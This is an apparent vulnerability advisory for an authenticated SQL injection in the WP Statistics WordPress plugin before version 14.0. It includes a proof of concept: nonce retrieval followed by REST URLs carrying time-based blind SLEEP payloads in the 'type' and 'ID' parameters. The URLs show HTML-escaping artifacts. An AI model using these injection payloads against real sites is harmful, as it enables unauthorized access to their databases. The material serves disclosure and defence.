WP Statistics < 14.0 - Authenticated SQLi

The plugin does not escape a parameter, which could allow authenticated users to perform SQL Injection attacks. By default, the affected feature is available to users with the manage_options capability (admin+), however the plugin has a settings to allow low privilege users to access it as well.

PoC

Log in as a user allowed to View WP Statistic (by default admins, but this can be changed in Statistic > Settings > Roles) and get a nonce via https://a.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URLs below, which will result in a 6s delay https://a.com/wp-json/wp-statistics/v2/metabox?_wpnonce=XXXX&amp;name;=pages-chart&amp;ago;=1&amp;type;=a' AND (SELECT 42 FROM (SELECT(SLEEP(2)))Ab)–%20Cd https://a.com/wp-json/wp-statistics/v2/metabox?_wpnonce=XXXX&amp;name;=pages-chart&amp;ago;=1&amp;ID;=1 AND (SELECT 42 FROM (SELECT(SLEEP(2)))Ab)–%20Cd